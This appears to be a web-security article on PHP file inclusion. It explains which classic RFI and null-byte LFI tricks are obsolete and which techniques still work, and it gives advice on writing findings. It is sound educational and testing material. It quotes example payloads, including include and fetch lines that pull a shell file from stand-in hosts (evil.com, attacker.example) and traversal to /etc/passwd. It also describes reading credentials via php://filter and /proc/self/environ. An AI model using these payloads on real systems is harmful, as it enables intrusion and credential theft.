File Inclusion in 2026
Classic RFI has been off by default since 2006 and the null byte died in 2010. Here is what replaced them, and why most material on this topic is describing a target that no longer exists.
Most of what you will read is describing 2010
Search for remote file inclusion and you will find the same payload on nearly every page:
?page=http://evil.com/shell.txt
That payload requires allow_url_include=On. PHP has shipped it Off since version 5.2.0, released in November 2006. It is not a hardening step anyone has to take; it is the default, and has been for nearly two decades.
Search for local file inclusion and the first bypass suggested is almost always a null byte — ?page=../../../../etc/passwd%00. PHP 5.3.4 fixed null-byte path truncation in December 2010, and PHP 8 raises a ValueError if a path contains one at all.
Neither of these is a footnote. They are the two techniques the entire genre of LFI/RFI tutorials is built around, and both have been dead for longer than most of the people reading them have been testing.
What died, and when
What actually works now
The live techniques in 2026 have one property in common: none of them needs a non-default configuration.
PHP filter chains are the headline. php://filter is not governed by allow_url_include — it never was. Stack enough convert.iconv filters and the wrapper synthesises content that was never on disk, turning a read-only file primitive into code execution on a completely stock php.ini. No upload, no writable directory, no outbound connection. This is Charles Fol's 2022 work, and it is the single largest change to this topic since 2006.
php://filter source reads are the reliable first move. convert.base64-encode gets you the source of any PHP file the worker can read, which turns "I can include files" into "I can read your database credentials" in one request.
Uploads plus zip:// or phar:// stay alive because they are local wrappers and no allow_url_* flag applies.
Phar deserialization matters because it makes read-only sinks dangerous — the archive metadata is unserialized the moment the stream is touched.
Traversal outside PHP is where the volume is. Node, Java, .NET, Python, Ruby, and Go have no stream-wrapper layer, so inclusion degrades to path traversal — still a serious finding, rarely code execution. See the cheatsheet.
The two flags are not the same flag
This is the single most common factual error in file-inclusion writeups, so it is worth stating precisely.
| Flag | Default | Governs |
|---|---|---|
allow_url_fopen | On | Opening a remote URL with any filesystem function |
allow_url_include | Off | Including or requiring a remote URL |
So on a stock host:
include('http://attacker.example/shell.txt')— blocked.allow_url_includeis Off.file_get_contents('http://attacker.example/shell.txt')— works.allow_url_fopenis On.
The second is live server-side request forgery on a default configuration, and it is regularly misfiled as "RFI, but it didn't execute". It is not RFI. It is SSRF, it has its own impact and its own fix, and calling it RFI gets it triaged against the wrong control.
Turning off allow_url_include never stopped remote reads. Only turning off allow_url_fopen does that.
What has not changed
Plenty. The reason this topic has not gone away is that the underlying bug — an application choosing a file from user input — is as common as it ever was.
- Local inclusion needs no configuration at all. Nothing in any
php.inistopsinclude('../../../../etc/passwd'). includestill executes. The distinction between a sink that runs the file and one that reads it is unchanged and still decides the severity.basename(),str_replace('../', ''), and extension checks are still what applications actually do, and still fail in the same ways. See Beating Blacklists.- Framework template loaders are still sinks. Jinja, ERB, Razor and Blade all resolve a name to a file, and a name from a request parameter is a name from an attacker.
- Containers made the read primitive better, not worse. The environment is where the secrets live now, and
/proc/self/environis one traversal away.
And one thing that got worse: the modern deployment shape — secrets injected as environment variables, config baked into the image, credentials in a mounted file — means a plain arbitrary-read primitive is often enough to take the whole application, with no execution needed.
What this means for a report
One rule, and it is the editorial rule for this entire site:
Name the runtime, the version, and the configuration.
"RFI on /index.php" is not a finding a triager can act on. It does not say whether the sink executes, whether it fired on a default configuration, or what you actually retrieved.
"Local file inclusion in /index.php?page= — include() sink, no allowlist, confirmed on PHP 8.3 with a stock php.ini. Retrieved config.php via php://filter/convert.base64-encode, which contains the production database credentials. Escalation to RCE via an iconv filter chain is available on this configuration and was not attempted" — that is a finding, and it is one the reader can reproduce, rate, and fix.
If you tested a technique and it failed, say which one and why. "allow_url_include is Off, so remote inclusion is not available here" is useful information that saves the next person an afternoon.
Related
An application decides which file to load based on something you control. Everything else on this site is a consequence of that one sentence.
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
The textbook payload: point the include at a file on your own host. It requires a configuration PHP stopped shipping in 2006, and it is still the first thing everyone tries.
include() executes PHP instead of showing it to you. Base64-encode the stream first and it comes back as data — the single most useful request in a PHP inclusion engagement.
include($page . '.php') is the most common shape of this bug, and the two famous bypasses for it both died in 2010. Here is what is actually left.